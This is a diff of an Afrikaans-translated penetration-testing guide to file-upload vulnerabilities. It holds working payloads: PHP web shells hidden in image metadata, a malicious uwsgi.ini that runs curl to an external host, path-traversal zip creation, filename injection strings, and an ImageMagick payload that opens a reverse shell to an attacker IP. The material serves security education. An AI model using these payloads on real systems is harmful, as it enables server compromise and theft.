As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -36,7 +36,7 @@ Ander nuttige uitbreidings:
|
||||||
|
|
||||||
### Bypass file extensions checks
|
### Bypass file extensions checks
|
||||||
|
|
||||||
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
|
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofdletters**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
|
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.Php5_
|
* _file.png.Php5_
|
||||||
|
@ -64,33 +64,33 @@ Ander nuttige uitbreidings:
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
||||||
* _ex: file.php.png_
|
* _ex: file.php.png_
|
||||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos om sy kort lêernaam te gebruik, gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
|
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.e.g. “file.asp::$data.”)
|
||||||
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
|
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maksimum 255 bytes
|
# Linux maksimum 255 bytes
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||||
# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Kom ons sê 236
|
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
# Maak die payload
|
# Make the payload
|
||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||||
|
|
||||||
* Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
|
* Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
|
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
|
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||||
* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||||
* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
* 'n Ander tegniek om 'n payload te maak wat **kompressie oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||||
|
|
||||||
### Ander Truuks om te kontroleer
|
### Ander Truuks om te kontroleer
|
||||||
|
@ -102,8 +102,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
|
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
|
||||||
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
|
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
|
||||||
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
|
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
|
||||||
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
||||||
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
|
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
|
||||||
* Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
* Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
||||||
|
|
||||||
### Spesiale uitbreiding truuks
|
### Spesiale uitbreiding truuks
|
||||||
|
@ -113,11 +113,11 @@ As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config
|
||||||
|
|
||||||
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
|
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
|
||||||
|
|
||||||
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
|
Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
|
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
|
||||||
|
|
||||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||||
|
|
||||||
|
@ -125,7 +125,7 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
|
||||||
|
|
||||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
|
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||||
|
|
||||||
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
|
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
|
||||||
```ini
|
```ini
|
||||||
|
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
|
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
|
||||||
|
|
||||||
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
|
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
|
||||||
|
|
||||||
## **wget Lêer Laai/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
|
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **aflaai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
|
||||||
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
Let wel, **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
||||||
|
|
||||||
## Gereedskap
|
## Gereedskap
|
||||||
|
|
||||||
|
@ -183,7 +183,7 @@ Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, i
|
||||||
|
|
||||||
## Van lêeroplaad na ander kwesbaarhede
|
## Van lêeroplaad na ander kwesbaarhede
|
||||||
|
|
||||||
* Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
|
* Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
|
||||||
* Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
|
* Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
|
||||||
* Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
|
* Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
|
||||||
* Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md))
|
* Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md))
|
||||||
|
@ -193,7 +193,7 @@ Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, i
|
||||||
* [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
* [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
* [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
* As jy kan **die webbediener aanwys om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aanwys en **inligting van elke besoeker steel**.
|
* As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
|
||||||
* [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
|
* [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
* Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
|
* Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
|
||||||
* Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
|
* Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
|
||||||
|
@ -246,7 +246,7 @@ python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
|
Daarnaast is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
|
||||||
|
|
||||||
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
|
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
|
||||||
```python
|
```python
|
||||||
|
@ -302,9 +302,9 @@ viewbox 0 0 640 480
|
||||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||||
pop graphic-context
|
pop graphic-context
|
||||||
```
|
```
|
||||||
## Inbedden van PHP Shell in PNG
|
## Inbedde PHP Shell op PNG
|
||||||
|
|
||||||
Inbedden van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
|
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
|
||||||
|
|
||||||
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
|
